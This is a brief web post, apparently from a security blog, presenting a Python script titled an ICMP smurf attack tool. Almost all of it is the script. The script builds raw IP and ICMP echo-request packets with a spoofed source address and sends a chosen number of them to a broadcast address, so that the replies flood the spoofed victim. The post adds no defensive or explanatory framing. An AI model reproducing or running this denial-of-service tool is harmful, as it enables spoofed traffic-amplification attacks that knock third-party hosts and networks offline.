[Python] ICMP smurf attack tool

Spoofing : 3 method

Smurf attack :

Python ICMP smurf attack tool:

#huydietvn.com
import sys, socket

def IPHeader(source, destination, proto):
    packet  = b''  
    packet += b'\x45'                        #Version (IPv4) + Internet Protocol header length
    packet += b'\x00'                        #no quality of service
    packet += b'\x00\x54'                       #Total frame length
    packet += b'\x23\x2c'                    #Id of this packet
    packet += b'\x40'                        #Flags (Don't Fragment)
    packet += b'\x00'                        #Fragment offset: 0
    packet += b'\x40'                        #Time to live: 64
    packet += proto                            #Protocol: ICMP (1)
    packet += b'\x0a\x0a'                    #Checksum (python does the work for us)
    packet += socket.inet_aton(source)          #Set source IP to the supplied one
    packet += socket.inet_aton(destination)    #Set destination IP to the supplied one
    return packet
 
def CreateICMPRequest():
    packet  = b''
    packet += b'\x08'                        #ICMP Type:8 (icmp echo request)
    packet += b'\x00'                        #Code 0 (no code)
    packet += b'\xbd\xcb'                    #Checksum
    packet += b'\x16\x4f'                    #Identifier (big endian representation)
    packet += b'\x00\x01'                    #Sequence number (big endian representation)
    packet += b'\x92\xde\xe2\x50\x00\x00\x00\x00\xe1\xe1\x0e\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37'                #Data (56 bytes)
    return packet

def smurfattack(values):
    try:      
        icmpsocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
        icmpsocket.bind(('', 1))
        icmpsocket.setblocking(0)
        icmpsocket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        icmpsocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    except socket.error:
        print "You need to be root!"
        sys.exit(0)

    #send icmp echo request to supplied destination address with spoofed source address
    try:      
        icmpsocket.connect((values[2], 1))
        counter = 1
        print "sending %d icmp echo requests to %s with %s as source" % (int(values[3]), values[2], values[1])
        try:          
            while (counter <= int(values[3])):
                icmpsocket.send(str(IPHeader(values[1], values[2], proto = b'\x01')) + str(CreateICMPRequest()))
                counter = int(counter)+1
        except KeyboardInterrupt :
                print 'Keyboard Interrupt'
                icmpsocket.close()          
        icmpsocket.close
    except IndexError:
        help_smurfattack()
        sys.exit(0)

def help_smurfattack():
    print "Usage: smurfattack <source IP> <broadcast address> <number of requests> "
     
if __name__=="__main__":
    values = sys.argv
    smurfattack(values)